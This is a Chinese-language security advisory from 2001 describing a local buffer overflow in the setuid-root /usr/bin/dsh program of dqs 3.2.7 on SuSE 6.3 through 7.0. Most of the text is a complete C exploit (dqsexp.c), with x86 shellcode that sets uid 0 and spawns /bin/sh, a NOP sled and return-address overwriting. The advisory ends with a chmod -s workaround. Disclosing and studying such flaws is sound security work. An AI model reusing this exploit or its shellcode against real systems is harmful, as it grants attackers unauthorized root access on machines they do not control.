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安全漏洞
dqs 3.2.7 本地缓冲区溢出
发布日期:2001-05-22
更新日期:2001-05-22
受影响系统:
描述:
dqs 3.2.7
- SusE 6.3
- SusE 6.4
- SusE 7.0
SusE 6.3/6.4/7.0缺省携带dqs 3.2.7,其中的/usr/bin/dsh存在一个漏洞,当第一
个参数超长时,发生典型的本地缓冲区溢出。由于/usr/bin/dsh是setuid-to-root了
的,攻击者将获取root权限。
<* 来源:Drake Diedrich, Mantainer (Drake.Diedrich@anu.edu.adu) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root exploit. */
/* SuSE 6.3, 6.4, and 7.0 are vunerable. */
/* dex@raza-mexicana.org <> http://www.raza-mexicana.org */
/* Saludos: dr_fdisk^, yield, vlad, deadsector, trovalz, fatal, */
/* megaflop y a todo raza. que weba escribirlos todos XD. */
/* En especial saludos al espa~olete(NOP) :P, ya sabes porque. */
/* */
/* - dex@raza-mexicana.org <> http://www.raza-mexicana.org - */
/********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
static char code[]= /* stolen from mount.c :P */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe3\xff\xff\xff" /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv) {
int i;
unsigned long addr;
char *buffer;
int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;
if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);
buffer = (char *)malloc(buffsize + 8);
addr = get_sp() - offset;
for(i = 0; i < buffsize; i += 4) {
*(long *)&buffer[i] = 0x90909090;
}
*(long *)&buffer[buffsize - 8] = addr;
*(long *)&buffer[buffsize - 4] = addr;
memcpy(buffer + buffsize - 8 - strlen(code) -
align, code, strlen(code));
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local root exploit.\n");
printf("[*] - dex@raza-mexicana.org <> http://www.raza-mexicana.org - \n");
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n"
);
printf("[*] Address=0x%x, Align=%d, Offset=%d\n", addr, align, offset);
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n"
);
printf("[*] Starting....\n");
execl("/usr/bin/dsh", "dsh", buffer, "/etc/motd", NULL);
}
----EOF----
建议:
临时解决方法:
去掉SUID设置
# ls -la /usr/bin/dsh
-rwsr-xr-x 1 root root 502748 May 18 00:36 /usr/bin/dsh
# chmod -s /usr/bin/dsh
# ls -la /usr/bin/dsh
-rwxr-xr-x 1 root root 502748 May 18 00:36 /usr/bin/dsh
#
厂商补丁:
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